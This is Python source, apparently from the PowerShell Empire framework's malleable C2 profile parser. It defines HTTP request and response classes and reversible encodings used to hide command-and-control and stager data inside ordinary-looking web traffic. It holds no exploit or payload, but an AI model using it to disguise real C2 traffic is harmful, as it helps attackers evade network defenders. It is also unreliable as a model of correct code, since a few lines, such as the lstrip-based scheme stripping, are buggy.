174 | test = p.post.construct_client(host, data, data) | |
175 | clone = MalleableRequest() | |
176 | clone.url = test.url | |
177 | clone.verb = test.verb | |
178 | clone.headers = test.headers | |
179 | clone.body = test.body | |
180 | id, output = self.post.extract_client(clone) | |
181 | if id != data: | |
182 | MalleableError.throw(self.__class__, "validate", "Data-integrity check failed: %s-post-client-id" % format) | |
183 | if output != data: | |
184 | MalleableError.throw(self.__class__, "validate", "Data-integrity check failed: %s-post-client-output" % format) | |
185 | ||
186 | test = p.post.construct_server(data) | |
187 | clone = MalleableResponse() | |
188 | clone.headers = test.headers | |
189 | clone.body = test.body | |
190 | if self.post.extract_server(clone) != data: | |
191 | MalleableError.throw(self.__class__, "validate", "Data-integrity check failed: %s-post-server-output" % format) | |
192 | ||
193 | test = p.stager.construct_client(host, data) | |
194 | clone = MalleableRequest() | |
195 | clone.url = test.url | |
196 | clone.verb = test.verb | |
197 | clone.headers = test.headers | |
198 | clone.body = test.body | |
199 | if self.stager.extract_client(clone) != data: | |
200 | MalleableError.throw(self.__class__, "validate", "Data-integrity check failed: %s-stager-client-metadata" % format) | |
201 | ||
202 | test = p.stager.construct_server(data) | |
203 | clone = MalleableResponse() | |
204 | clone.headers = test.headers | |
205 | clone.body = test.body | |
206 | if self.stager.extract_server(clone) != data: | |
207 | MalleableError.throw(self.__class__, "validate", "Data-integrity check failed: %s-stager-server-output" % format) | |
208 | ||
209 | if set(self.get.client.uris).intersection(set(self.post.client.uris)) or \ | |
210 | set(self.post.client.uris).intersection(set(self.stager.client.uris)) or \ | |
211 | set(self.stager.client.uris).intersection(set(self.get.client.uris)) or \ | |
212 | len(self.get.client.uris + (self.post.client.uris if self.post.client.uris else ["/"])) == 0 or \ | |
213 | len(self.post.client.uris + (self.stager.client.uris if self.stager.client.uris else ["/"])) == 0 or \ | |
214 | len(self.stager.client.uris + (self.get.client.uris if self.get.client.uris else ["/"])) == 0 or \ | |
215 | ("/" in self.get.client.uris and len(self.post.client.uris) == 0) or \ | |
216 | ("/" in self.get.client.uris and len(self.stager.client.uris) == 0) or \ | |
217 | ("/" in self.post.client.uris and len(self.stager.client.uris) == 0) or \ | |
218 | ("/" in self.post.client.uris and len(self.get.client.uris) == 0) or \ | |
219 | ("/" in self.stager.client.uris and len(self.get.client.uris) == 0) or \ | |
220 | ("/" in self.stager.client.uris and len(self.post.client.uris) == 0): | |
221 | MalleableError.throw(self.__class__, "validate", "Cannot have duplicate uris: %s - %s - %s" % ( | |
222 | self.get.client.uris if self.get.client.uris else ["/"], | |
223 | self.post.client.uris if self.post.client.uris else ["/"], | |
224 | self.stager.client.uris if self.stager.client.uris else ["/"] | |
225 | )) | |
226 | ||
227 | return True | |
228 | ||
229 | def ingest(self, file): | |
230 | """Ingest a profile file into the Profile object. | |
231 | ||
232 | Args: | |
233 | file (str): Filename to be read and parsed. | |
234 | """ | |
235 | if not file or not os.path.isfile(file): | |
236 | MalleableError.throw(self.__class__, "ingest", "Invalid file: %s" % str(file)) | |
237 | ||
238 | content = None | |
239 | with open(file) as f: | |
240 | content = f.read() | |
241 | ||
242 | if not content: | |
243 | MalleableError.throw(self.__class__, "ingest", "Empty file: %s" % str(file)) | |
244 | ||
245 | self._parse(self._pattern().searchString(content)) |
0 | from __future__ import absolute_import | |
1 | import random, six.moves.urllib.parse, six.moves.urllib.request, six.moves.urllib.error | |
2 | from pyparsing import * | |
3 | from .utility import MalleableError, MalleableUtil, MalleableObject | |
4 | from .transformation import Transform, Terminator, Container | |
5 | from six.moves import range | |
6 | ||
7 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # | |
8 | # TRANSACTION | |
9 | # | |
10 | # Defining the core components of an interaction between a web | |
11 | # client request and a web server response. | |
12 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # | |
13 | ||
14 | class MalleableRequest(MalleableObject): | |
15 | """A generic request class used to transfer the contents of an html request. | |
16 | ||
17 | Attributes: | |
18 | _url (urlparse.SplitResult) | |
19 | url (str, property) | |
20 | verb (str) | |
21 | scheme (str, property) | |
22 | netloc (str, property) | |
23 | host (str, property) | |
24 | port (str, property) | |
25 | path (str, property) | |
26 | parameters (dict (str, str)) | |
27 | extra (str) | |
28 | headers (dict (str, str)) | |
29 | body (str) | |
30 | """ | |
31 | ||
32 | def _defaults(self): | |
33 | """Default initialization for the MalleableRequest object.""" | |
34 | super(MalleableRequest, self)._defaults() | |
35 | self._url = six.moves.urllib.parse.SplitResult("http","","/","","") | |
36 | self.verb = "GET" | |
37 | self.extra = "" | |
38 | self.headers = {} | |
39 | self.body = "" | |
40 | ||
41 | def _clone(self): | |
42 | """Deep copy of the MalleableRequest object. | |
43 | ||
44 | Returns: | |
45 | MalleableRequest | |
46 | """ | |
47 | new = super(MalleableRequest, self)._clone() | |
48 | new._url = self._url | |
49 | new.verb = self.verb | |
50 | new.extra = self.extra | |
51 | new.headers = {k:v for k,v in self.headers.items()} | |
52 | new.body = self.body | |
53 | return new | |
54 | ||
55 | def _serialize(self): | |
56 | """Serialize the MalleableRequest object. | |
57 | ||
58 | Returns: | |
59 | dict (str, obj) | |
60 | """ | |
61 | return dict(list(super(MalleableRequest, self)._serialize().items()) + list({ | |
62 | "url" : self.url, | |
63 | "verb" : self.verb, | |
64 | "extra" : self.extra, | |
65 | "headers" : self.headers, | |
66 | "body" : self.body | |
67 | }.items())) | |
68 | ||
69 | @classmethod | |
70 | def _deserialize(cls, data): | |
71 | """Deserialize data into a MalleableRequest object. | |
72 | ||
73 | Args: | |
74 | data (dict (str, obj)): Serialized data (json) | |
75 | ||
76 | Returns: | |
77 | MalleableRequest object | |
78 | """ | |
79 | request = super(MalleableRequest, cls)._deserialize(data) | |
80 | if data: | |
81 | request.url = data["url"] if "url" in data else "" | |
82 | request.verb = data["verb"] if "verb" in data else "GET" | |
83 | request.extra = data["extra"] if "extra" in data else "" | |
84 | request.headers = data["headers"] if "headers" in data else {} | |
85 | request.body = data["body"] if "body" in data else "" | |
86 | return request | |
87 | ||
88 | @classmethod | |
89 | def _pattern(cls): | |
90 | """Define the pattern to recognize a MalleableRequest object while parsing a file. | |
91 | ||
92 | Returns: | |
93 | pyparsing object | |
94 | """ | |
95 | return Group(Suppress("{") + ZeroOrMore( | |
96 | cls.COMMENT | | |
97 | (Literal("header") + Group(cls.VALUE + cls.VALUE) + cls.SEMICOLON) | | |
98 | (Literal("parameter") + Group(cls.VALUE + cls.VALUE) + cls.SEMICOLON) | | |
99 | Container._pattern() | |
100 | ) + Suppress("}")) | |
101 | ||
102 | def _parse(self, data): | |
103 | """Store the information from a parsed pyparsing result. | |
104 | ||
105 | Args: | |
106 | data: pyparsing data | |
107 | """ | |
108 | if data: | |
109 | for i in range(0, len(data), 2): | |
110 | item = data[i] | |
111 | arg = data[i+1] if len(data) > i+1 else None | |
112 | if item and arg: | |
113 | if item.lower() == "header" and len(arg) > 1: | |
114 | key, value = arg[0], arg[1] | |
115 | if key and value: | |
116 | self.header(key, value) | |
117 | elif item.lower() == "parameter" and len(arg) > 1: | |
118 | key, value = arg[0], arg[1] | |
119 | if key and value: | |
120 | self.parameter(key, value) | |
121 | ||
122 | def _replace(self, scheme=None, host=None, port=None, path=None, parameters=None, verb=None, extra=None, headers=None, body=None): | |
123 | """Clone the MalleableRequest object while replacing the provided attributes. | |
124 | ||
125 | Args: | |
126 | scheme (str, optional) | |
127 | host (str, optional) | |
128 | port (str, optional) | |
129 | path (str, optional) | |
130 | parameters (dict (str, str), optional) | |
131 | verb (str, optional) | |
132 | extra (str, optional) | |
133 | headers (dict (str, str), optional) | |
134 | body (str, optional) | |
135 | ||
136 | Returns: | |
137 | MalleableRequest object | |
138 | """ | |
139 | new = self._clone() | |
140 | if scheme is not None: new.scheme = scheme | |
141 | if host is not None: new.host = host | |
142 | if port is not None: new.port = port | |
143 | if path is not None: new.path = path | |
144 | if parameters is not None: new.parameters = parameters | |
145 | if verb is not None: new.verb = verb | |
146 | if extra is not None: new.extra = extra | |
147 | if headers is not None: new.headers = headers | |
148 | if body is not None: new.body = body | |
149 | return new | |
150 | ||
151 | @property | |
152 | def url(self): | |
153 | """Getter for the full url. | |
154 | ||
155 | Note: Actually generates from the urlparse.SplitResult _url. | |
156 | ||
157 | Returns: | |
158 | str: url | |
159 | """ | |
160 | extra = self.extra | |
161 | if isinstance(extra, bytes): | |
162 | extra = extra.decode("Latin-1") | |
163 | url = (six.moves.urllib.parse.urlunsplit(self._url) + extra) | |
164 | return url | |
165 | ||
166 | @url.setter | |
167 | def url(self, url): | |
168 | """Setter for the full url. | |
169 | ||
170 | Note: Actually sets parses the input into the urlparse.SplitResult _url. | |
171 | ||
172 | Args: | |
173 | url (str) | |
174 | """ | |
175 | if "://" in url: | |
176 | if "http://" not in url.lower() and "https://" not in url.lower(): | |
177 | MalleableError.throw(self.__class__, "url", "Scheme not supported: %s" % url) | |
178 | else: | |
179 | url = "http://" + url | |
180 | temp = six.moves.urllib.parse.urlsplit(url, allow_fragments=False) | |
181 | self._url = temp | |
182 | if temp.query != '': | |
183 | self.path = temp[2] + '?' + temp[3] | |
184 | else: | |
185 | self.path = temp[2] + temp[3] | |
186 | return self._url | |
187 | ||
188 | @property | |
189 | def scheme(self): | |
190 | """Getter for the scheme. | |
191 | ||
192 | Returns: | |
193 | str: scheme | |
194 | """ | |
195 | return self._url.scheme | |
196 | ||
197 | @scheme.setter | |
198 | def scheme(self, scheme): | |
199 | """Setter for the scheme. | |
200 | ||
201 | Args: | |
202 | scheme (str) | |
203 | """ | |
204 | self._url = self._url._replace(scheme=scheme.lower() if scheme else "") | |
205 | ||
206 | @property | |
207 | def netloc(self): | |
208 | """Getter for the netloc. | |
209 | ||
210 | Returns: | |
211 | str: netloc | |
212 | """ | |
213 | return self._url.netloc | |
214 | ||
215 | @netloc.setter | |
216 | def netloc(self, netloc): | |
217 | """Setter for the netloc. | |
218 | ||
219 | Args: | |
220 | netloc (str) | |
221 | """ | |
222 | self._url = self._url._replace(netloc=netloc) | |
223 | ||
224 | @property | |
225 | def host(self): | |
226 | """Getter for the host. | |
227 | ||
228 | Returns: | |
229 | str: host | |
230 | """ | |
231 | return self._url.hostname | |
232 | ||
233 | @host.setter | |
234 | def host(self, host): | |
235 | """Setter for the host. | |
236 | ||
237 | Args: | |
238 | host (str) | |
239 | ||
240 | Raises: | |
241 | MalleableError: If scheme not supported. | |
242 | """ | |
243 | if "://" in host: | |
244 | if "http://" in host: | |
245 | host = host.lstrip("http://") | |
246 | self.scheme = "http" | |
247 | elif "https://" in host: | |
248 | host = host.lstrip("https://") | |
249 | self.scheme = "https" | |
250 | else: | |
251 | MalleableError.throw(self.__class__, "host", "Scheme not supported: %s" % host) | |
252 | if ":" not in host and self._url.port: | |
253 | host += ":" + str(self._url.port) | |
254 | self._url = self._url._replace(netloc=host) | |
255 | ||
256 | @property | |
257 | def port(self): | |
258 | """Getter for the port. | |
259 | ||
260 | Returns: | |
261 | str: port | |
262 | """ | |
263 | return self._url.port | |
264 | ||
265 | @port.setter | |
266 | def port(self, port): | |
267 | """Setter for the port. | |
268 | ||
269 | Args: | |
270 | port (int) | |
271 | """ | |
272 | hostname = self._url.hostname | |
273 | netloc = (str(hostname) if hostname else "") + ((":"+str(port)) if port else "") | |
274 | self._url = self._url._replace(netloc=netloc) | |
275 | ||
276 | @property | |
277 | def path(self): | |
278 | """Getter for the path. | |
279 | ||
280 | Returns: | |
281 | str: path | |
282 | """ | |
283 | return self._url.path | |
284 | ||
285 | @path.setter | |
286 | def path(self, path): | |
287 | """Setter for the path. | |
288 | ||
289 | Args: | |
290 | path (str) | |
291 | """ | |
292 | self._url = self._url._replace(path=path) | |
293 | ||
294 | @property | |
295 | def query(self): | |
296 | """Getter for the query string. | |
297 | ||
298 | Returns: | |
299 | str: query | |
300 | """ | |
301 | return self._url.query | |
302 | ||
303 | @query.setter | |
304 | def query(self, query): | |
305 | """Setter for the query string. | |
306 | ||
307 | Args: | |
308 | query (str) | |
309 | """ | |
310 | self._url = self._url._replace(query=query) | |
311 | ||
312 | @property | |
313 | def parameters(self): | |
314 | """Getter for the parameters. | |
315 | ||
316 | Note: Actually generated from urlparse.SplitResult _url. | |
317 | ||
318 | Returns: | |
319 | dict (str, str): parameters | |
320 | """ | |
321 | return dict(six.moves.urllib.parse.parse_qsl(self._url.query)) | |
322 | ||
323 | @parameters.setter | |
324 | def parameters(self, parameters): | |
325 | """Setter for the parameters. | |
326 | ||
327 | Note: Actually sets the query string in urlparse.SplitResult _url. | |
328 | ||
329 | Args: | |
330 | parameters (dict(str, str)) | |
331 | """ | |
332 | query = six.moves.urllib.parse.urlencode(parameters) if parameters else "" | |
333 | self._url = self._url._replace(query=query) | |
334 | ||
335 | def parameter(self, parameter, value): | |
336 | """Add a single parameter. | |
337 | ||
338 | Args: | |
339 | parameter (str) | |
340 | value (str) | |
341 | """ | |
342 | p = self.parameters | |
343 | p[parameter] = value | |
344 | self.parameters = p | |
345 | ||
346 | def get_parameter(self, parameter): | |
347 | """Get a single parameter value. | |
348 | ||
349 | Args: | |
350 | parameter (str) | |
351 | ||
352 | Returns: | |
353 | parameter value if exists else None. | |
354 | """ | |
355 | if parameter: | |
356 | parameter = parameter.lower() | |
357 | if self.parameters: | |
358 | parameters = {k.lower():v for k,v in self.parameters.items()} | |
359 | if parameter in parameters: | |
360 | return parameters[parameter] | |
361 | return None | |
362 | ||
363 | def header(self, header, value): | |
364 | """Set a single header value. | |
365 | ||
366 | Args: | |
367 | header (str) | |
368 | value (str) | |
369 | """ | |
370 | self.headers[header] = value | |
371 | ||
372 | def get_header(self, header): | |
373 | """Get a single header value. | |
374 | ||
375 | Args: | |
376 | header (str) | |
377 | ||
378 | Returns: | |
379 | header value if exists else None. | |
380 | """ | |
381 | if header: | |
382 | header = header.lower() | |
383 | if self.headers: | |
384 | headers = {k.lower():v for k,v in self.headers.items()} | |
385 | if header in headers: | |
386 | return headers[header] | |
387 | return None | |
388 | ||
389 | def store(self, data, terminator): | |
390 | """Store the data according to the specified terminator. | |
391 | ||
392 | Args: | |
393 | data (str): The data to be stored. | |
394 | terminator (Terminator): The terminator specifying where to store the data. | |
395 | """ | |
396 | if terminator.type == Terminator.HEADER: self.header(terminator.arg, data) | |
397 | elif terminator.type == Terminator.PARAMETER: self.parameter(terminator.arg, data) | |
398 | elif terminator.type == Terminator.URIAPPEND: self.extra = data | |
399 | elif terminator.type == Terminator.PRINT: self.body = data | |
400 | ||
401 | def extract(self, original, terminator): | |
402 | """Extract the data according to the specified terminator. | |
403 | ||
404 | Args: | |
405 | original (MalleableRequest): The original request to compare to. | |
406 | terminator (Terminator): The terminator specifying where the data is stored. | |
407 | """ | |
408 | data = None | |
409 | if terminator.type == Terminator.HEADER: | |
410 | data = self.get_header(terminator.arg) | |
411 | if data: data = six.moves.urllib.parse.unquote_to_bytes(data).decode('Latin-1') | |
412 | elif terminator.type == Terminator.PARAMETER: | |
413 | data = self.get_parameter(terminator.arg) | |
414 | if data: data = six.moves.urllib.parse.unquote_to_bytes(data).decode('Latin-1') | |
415 | elif terminator.type == Terminator.URIAPPEND: | |
416 | if self.extra: | |
417 | data = six.moves.urllib.parse.unquote_to_bytes(self.extra).decode('Latin-1') | |
418 | elif original.parameters: | |
419 | for p in sorted(original.parameters, key=len, reverse=True): | |
420 | known = original.parameters[p] | |
421 | shown = self.get_parameter(p) | |
422 | if shown and known.lower() in shown.lower() and len(shown) > len(known): | |
423 | data = known.split(known)[-1] | |
424 | if data: data = six.moves.urllib.parse.unquote_to_bytes(data).decode('Latin-1') | |
425 | break | |
426 | else: | |
427 | for known in sorted(original.uris, key=len, reverse=True): | |
428 | shown = self.path | |
429 | if known.lower() in shown.lower() and len(shown) > len(known): | |
430 | data = shown.split(known)[-1] | |
431 | if data: data = six.moves.urllib.parse.unquote_to_bytes(data).decode('Latin-1') | |
432 | break | |
433 | elif terminator.type == Terminator.PRINT: data = self.body | |
434 | ||
435 | if isinstance(data, str): | |
436 | data = data.encode('Latin-1') | |
437 | return data | |
438 | ||
439 | class MalleableResponse(MalleableObject): | |
440 | """A generate response class used to transfer the contents of an html response. | |
441 | ||
442 | Attributes: | |
443 | code (int) | |
444 | headers (dict (str, str)) | |
445 | body (str) | |
446 | """ | |
447 | ||
448 | def _defaults(self): | |
449 | """Default initialization for the MalleableResponse object.""" | |
450 | super(MalleableResponse, self)._defaults() | |
451 | self.code = 200 | |
452 | self.headers = {} | |
453 | self.body = "" | |
454 | ||
455 | def _clone(self): | |
456 | """Deep copy of the MalleableResponse object. | |
457 | ||
458 | Returns: | |
459 | MalleableResponse | |
460 | """ | |
461 | new = super(MalleableResponse, self)._clone() | |
462 | new.code = self.code | |
463 | new.headers = {k: v for k,v in self.headers.items()} | |
464 | new.body = self.body | |
465 | return new | |
466 | ||
467 | def _serialize(self): | |
468 | """Serialize the MalleableResponse object. | |
469 | ||
470 | Returns: | |
471 | dict (str, obj) | |
472 | """ | |
473 | return dict(list(super(MalleableResponse, self)._serialize().items()) + list({ | |
474 | "code" : self.code, | |
475 | "headers" : self.headers, | |
476 | "body" : self.body | |
477 | }.items())) | |
478 | ||
479 | @classmethod | |
480 | def _deserialize(cls, data): | |
481 | """Deserialize data into a MalleableReponse object. | |
482 | ||
483 | Args: | |
484 | data (str): Serialized data (json) | |
485 | ||
486 | Returns: | |
487 | MalleableResponse object | |
488 | """ | |
489 | response = super(MalleableResponse, cls)._deserialize(data) | |
490 | if data: | |
491 | response.code = data["code"] if "code" in data else 200 | |
492 | response.headers = data["headers"] if "headers" in data else {} | |
493 | response.body = data["body"] if "body" in data else "" | |
494 | return response | |
495 | ||
496 | @classmethod | |
497 | def _pattern(cls): | |
498 | """Define the pattern to recognize a MalleableResponse object while parsing a file. | |
499 | ||
500 | Returns: | |
501 | pyparsing object | |
502 | """ | |
503 | return Group(Suppress("{") + ZeroOrMore( | |
504 | cls.COMMENT | | |
505 | (Literal("header") + Group(cls.VALUE + cls.VALUE) + cls.SEMICOLON) | | |
506 | Container._pattern() | |
507 | ) + Suppress("}")) | |
508 | ||
509 | def _parse(self, data): | |
510 | """Store the information from a parsed pyparsing result. | |
511 | ||
512 | Args: | |
513 | data: pyparsing data | |
514 | """ | |
515 | if data: | |
516 | for i in range(0, len(data), 2): | |
517 | item = data[i] | |
518 | arg = data[i+1] if len(data) > i+1 else None | |
519 | if item and arg: | |
520 | if item.lower() == "header" and len(arg) > 1: | |
521 | key, value = arg[0], arg[1] | |
522 | if key and value: | |
523 | self.header(key, value) | |
524 | ||
525 | def get_header(self, header): | |
526 | """Get a single header value. | |
527 | ||
528 | Args: | |
529 | header (str) | |
530 | ||
531 | Returns: | |
532 | header value if exists else None. | |
533 | """ | |
534 | if header: | |
535 | header = header.lower() | |
536 | if self.headers: | |
537 | headers = {k.lower():v for k,v in self.headers.items()} | |
538 | if header in headers: | |
539 | return headers[header] | |
540 | return None | |
541 | ||
542 | def header(self, header, value): | |
543 | """Set a single header value. | |
544 | ||
545 | Args: | |
546 | header (str) | |
547 | value (str) | |
548 | """ | |
549 | self.headers[header] = value | |
550 | ||
551 | def store(self, data, terminator): | |
552 | """Store the data according to the specified terminator. | |
553 | ||
554 | Args: | |
555 | data (str): The data to be stored. | |
556 | terminator (Terminator): The terminator specifying where to store the data. | |
557 | """ | |
558 | if terminator.type == Terminator.HEADER: self.header(terminator.arg, data) | |
559 | elif terminator.type == Terminator.PRINT: self.body = data | |
560 | ||
561 | def extract(self, original, terminator): | |
562 | """Extract the data according to the specified terminator. | |
563 | ||
564 | Args: | |
565 | original (MalleableResponse): The original request to compare to. | |
566 | terminator (Terminator): The terminator specifying where the data is stored. | |
567 | """ | |
568 | data = None | |
569 | if terminator.type == Terminator.HEADER: | |
570 | data = self.get_header(terminator.arg) | |
571 | if data: data = six.moves.urllib.parse.unquote_to_bytes(data).decode('latin-1') | |
572 | elif terminator.type == Terminator.PRINT: | |
573 | data = self.body | |
574 | return data | |
575 | ||
576 | class Transaction(MalleableObject): | |
577 | """A class housing the core components of an interaction between a web client request and | |
578 | a web server response. | |
579 | ||
580 | Attributes: | |
581 | client (MalleableRequest): Client object containing client request attributes. | |
582 | server (MalleableResponse): Server object containing server response attributes. | |
583 | """ | |
584 | ||
585 | def _defaults(self): | |
586 | """Default initialization for the Transaction object.""" | |
587 | super(Transaction, self)._defaults() | |
588 | self.client = Transaction.Client() | |
589 | self.server = Transaction.Server() | |
590 | ||
591 | def _clone(self): | |
592 | """Deep copy of the Transaction object. | |
593 | ||
594 | Returns: | |
595 | Transaction | |
596 | """ | |
597 | new = super(Transaction, self)._clone() | |
598 | new.client = self.client._clone() | |
599 | new.server = self.server._clone() | |
600 | return new | |
601 | ||
602 | def _serialize(self): | |
603 | """Serialize the Transaction object. | |
604 | ||
605 | Returns: | |
606 | dict (str, obj) | |
607 | """ | |
608 | return dict(list(super(Transaction, self)._serialize().items()) + list({ | |
609 | "client" : self.client._serialize(), | |
610 | "server" : self.server._serialize() | |
611 | }.items())) | |
612 | ||
613 | @classmethod | |
614 | def _deserialize(cls, data): | |
615 | """Deserialize data into a Transaction object. | |
616 | ||
617 | Args: | |
618 | data (str): Serialized data (json) | |
619 | ||
620 | Returns: | |
621 | Transaction object | |
622 | """ | |
623 | transaction = super(Transaction, cls)._deserialize(data) | |
624 | if data: | |
625 | transaction.client = Transaction.Client._deserialize(data["client"]) if "client" in data else Transaction.Client() | |
626 | transaction.server = Transaction.Server._deserialize(data["server"]) if "server" in data else Transaction.Server() | |
627 | return transaction | |
628 | ||
629 | @classmethod | |
630 | def _pattern(cls): | |
631 | """Define the pattern to recognize a Transaction object while parsing a file. | |
632 | ||
633 | Returns: | |
634 | pyparsing object | |
635 | """ | |
636 | return Group(Suppress("{") + ZeroOrMore( | |
637 | cls.COMMENT | | |
638 | (Literal("set") + Group(cls.FIELD + cls.VALUE) + cls.SEMICOLON) | | |
639 | cls.Client._pattern() | | |
640 | cls.Server._pattern() | |
641 | ) + Suppress("}")) | |
642 | ||
643 | def _parse(self, data): | |
644 | """Store the information from a parsed pyparsing result. | |
645 | ||
646 | Args: | |
647 | data: pyparsing data | |
648 | """ | |
649 | if data: | |
650 | for i in range(0, len(data), 2): | |
651 | item = data[i] | |
652 | arg = data[i+1] if len(data) > i+1 else None | |
653 | if item and arg: | |
654 | if item.lower() == "set" and len(arg) > 1: | |
655 | key, value = arg[0], arg[1] | |
656 | if key and value: | |
657 | if key.lower() == "uri": | |
658 | for u in value.split(): | |
659 | self.client.uri(u) | |
660 | elif key.lower() == "uri_x86": | |
661 | for u in value.split(): | |
662 | self.client.uri(u, x86=True) | |
663 | elif key.lower() == "uri_x64": | |
664 | for u in value.split(): | |
665 | self.client.uri(u, x64=True) | |
666 | else: | |
667 | setattr(self, key, value) | |
668 | elif item.lower() == "client": | |
669 | self.client._parse(arg) | |
670 | elif item.lower() == "server": | |
671 | self.server._parse(arg) | |
672 | ||
673 | @property | |
674 | def verb(self): | |
675 | """Getter for the verb attribute. | |
676 | ||
677 | Returns: | |
678 | verb (str) | |
679 | """ | |
680 | return self.client.verb | |
681 | ||
682 | @verb.setter | |
683 | def verb(self, verb): | |
684 | """Setter for the verb attribute. | |
685 | ||
686 | Note: verb actually lives in the client, this is here for compatibility. | |
687 | ||
688 | Args: | |
689 | verb (str) | |
690 | """ | |
691 | self.client.verb = verb | |
692 | ||
693 | class Client(MalleableRequest): | |
694 | """A class housing the core components of a web client request. | |
695 | ||
696 | Attributes: | |
697 | uris (list (str)): Uris to which client traffic will be directed. | |
698 | uris_x86 (list (str)): x86-only uris to which client traffic will be directed. | |
699 | uris_x64 (list (str)): x64-only uris to which client traffic will be directed. | |
700 | """ | |
701 | ||
702 | def _defaults(self): | |
703 | """Default initialization for the Client object.""" | |
704 | super(Transaction.Client, self)._defaults() | |
705 | self.uris = [] | |
706 | self.uris_x86 = [] | |
707 | self.uris_x64 = [] | |
708 | ||
709 | def _clone(self): | |
710 | """Deep copy of the Client object. | |
711 | ||
712 | Returns: | |
713 | Client | |
714 | """ | |
715 | new = super(Transaction.Client, self)._clone() | |
716 | new.uris = [u for u in self.uris] | |
717 | new.uris_x86 = [u for u in self.uris_x86] | |
718 | new.uris_x64 = [u for u in self.uris_x64] | |
719 | return new | |
720 | ||
721 | def _serialize(self): | |
722 | """Serialize the Client object. | |
723 | ||
724 | Returns: | |
725 | dict (str, obj) | |
726 | """ | |
727 | return dict(list(super(Transaction.Client, self)._serialize().items()) + list({ | |
728 | "uris" : self.uris, | |
729 | "uris_x86" : self.uris_x86, | |
730 | "uris_x64" : self.uris_x64 | |
731 | }.items())) | |
732 | ||
733 | @classmethod | |
734 | def _deserialize(self, data): | |
735 | """Deserialize data into a Client object. | |
736 | ||
737 | Args: | |
738 | data (str): Serialized data (json) | |
739 | ||
740 | Returns: | |
741 | Client object | |
742 | """ | |
743 | client = super(Transaction.Client, self)._deserialize(data) | |
744 | if data: | |
745 | client.uris = data["uris"] if "uris" in data else [] | |
746 | client.uris_x86 = data["uris_x86"] if "uris_x86" in data else [] | |
747 | client.uris_x64 = data["uris_x64"] if "uris_x64" in data else [] | |
748 | return client | |
749 | ||
750 | @classmethod | |
751 | def _pattern(cls): | |
752 | """Define the pattern to recognize a Transaction Client object while parsing a file. | |
753 | ||
754 | Returns: | |
755 | pyparsing object | |
756 | """ | |
757 | return Literal("client") + super(Transaction.Client, cls)._pattern() | |
758 | ||
759 | def stringify(self): | |
760 | """Serialize into a string compatible with Powershell Empire.""" | |
761 | return "|".join([ | |
762 | ",".join(self.uris if self.uris else ["/"]), | |
763 | str(self.get_header("User-Agent")) | |
764 | ] + [":".join([h,v]) for h,v in self.headers.items() if h.lower() != "user-agent"]) | |
765 | ||
766 | def uri(self, uri, x86=False, x64=False): | |
767 | """Add a uri to the list of uris | |
768 | ||
769 | Args: | |
770 | uri (str) | |
771 | """ | |
772 | self.uris = list(set(self.uris).union(set([uri]))) | |
773 | if x86: | |
774 | self.uris_x86 = list(set(self.uris_x86).union(set([uri]))) | |
775 | if x64: | |
776 | self.uris_x64 = list(set(self.uris_x64).union(set([uri]))) | |
777 | ||
778 | def random_uri(self, x86=False, x64=False, default="/"): | |
779 | """Returns a random uri from the list. | |
780 | ||
781 | Args: | |
782 | x86 (bool, optional): Only include x86 uris | |
783 | x64 (bool, optional): Only include x64 uris | |
784 | default (str, optional): Default uri to use if list is empty | |
785 | """ | |
786 | if x86 and x64: | |
787 | uris = self.uris | |
788 | elif x86: | |
789 | uris = self.uris_x86 | |
790 | elif x64: | |
791 | uris = self.uris_x64 | |
792 | else: | |
793 | uris = self.uris | |
794 | return (random.choice(uris) if uris else default) | |
795 | ||
796 | class Server(MalleableResponse): | |
797 | """A class housing the core components of a web server response.""" | |
798 | ||
799 | @classmethod | |
800 | def _pattern(cls): | |
801 | """Define the pattern to recognize a Transaction Server object while parsing a file. | |
802 | ||
803 | Returns: | |
804 | pyparsing object | |
805 | """ | |
806 | return Literal("server") + super(Transaction.Server, cls)._pattern() |
0 | ||
1 | from __future__ import absolute_import | |
2 | import os, base64, six.moves.urllib.request, six.moves.urllib.parse, six.moves.urllib.error | |
3 | from pyparsing import * | |
4 | from .utility import MalleableError, MalleableUtil, MalleableObject | |
5 | from six.moves import range | |
6 | import ast | |
7 | ||
8 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # | |
9 | # TRANSFORMATION | |
10 | # | |
11 | # Defining the model through which arbitrary data can undergo | |
12 | # reversable transformations. | |
13 | # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # | |
14 | ||
15 | class Transform(MalleableObject): | |
16 | """A class housing the arbitrary functionality of a reversable transformation. | |
17 | ||
18 | Attributes: | |
19 | type (int): Type of Transform to implement. | |
20 | arg (str): Argument to pass to the implementation. | |
21 | ||
22 | Functions: | |
23 | transform (func): Execute the forward transformation on an arbitrary string. | |
24 | Args: | |
25 | data (str): The data to be transformed. | |
26 | Returns: | |
27 | str: The transformed data. | |
28 | transform_r (func): Execute the reverse transformation on an arbitrary string. | |
29 | Args: | |
30 | data (str): The data to be transformed. | |
31 | Returns: | |
32 | str: The transformed data. | |
33 | generate_python (func): Generate the python code that would execute the | |
34 | transformation on an arbitrary string using the given variable name. | |
35 | Args: | |
36 | var (str): The variable name to be used in the code. | |
37 | Returns: | |
38 | str: The python code that would execute the transformation on an arbitrary | |
39 | string. | |
40 | generate_python_r (func): Generate the python code that would execute the | |
41 | reverse transformation on an arbitrary string using the given variable name. | |
42 | Args: | |
43 | var (str): The variable name to be used in the code. | |
44 | Returns: | |
45 | str: The python code that would execute the reverse transformation on an | |
46 | arbitrary string. | |
47 | generate_powershell (func): Generate the powershell code that would execute the | |
48 | transformation on an arbitrary string using the given variable name. | |
49 | Args: | |
50 | var (str): The variable name to be used in the code. | |
51 | Returns: | |
52 | str: The powershell code that would execute the transformation on an arbitrary | |
53 | string. | |
54 | generate_powershell_r (func): Generating the powershell code that would | |
55 | execute the reverse transformation on an arbitrary string using the given variable name. | |
56 | Args: | |
57 | var (str): The variable name to be used in the code. | |
58 | Returns: | |
59 | str: The powershell code that would execute the reverse transformation on an | |
60 | arbitrary string. | |
61 | """ | |
62 | NONE = 0 | |
63 | APPEND = 1 | |
64 | BASE64 = 2 | |
65 | BASE64URL = 3 | |
66 | MASK = 4 | |
67 | NETBIOS = 5 | |
68 | NETBIOSU = 6 | |
69 | PREPEND = 7 | |
70 | ||
71 | def __init__(self, type=0, arg=None): | |
72 | """Constructor for a Transform object. | |
73 | ||
74 | Args: | |
75 | type (int, optional): Choose the type of Transform to implement. | |
76 | arg (str, optional): Argument to pass to the implementation. | |
77 | """ | |
78 | self.type = type | |
79 | self.arg = arg | |
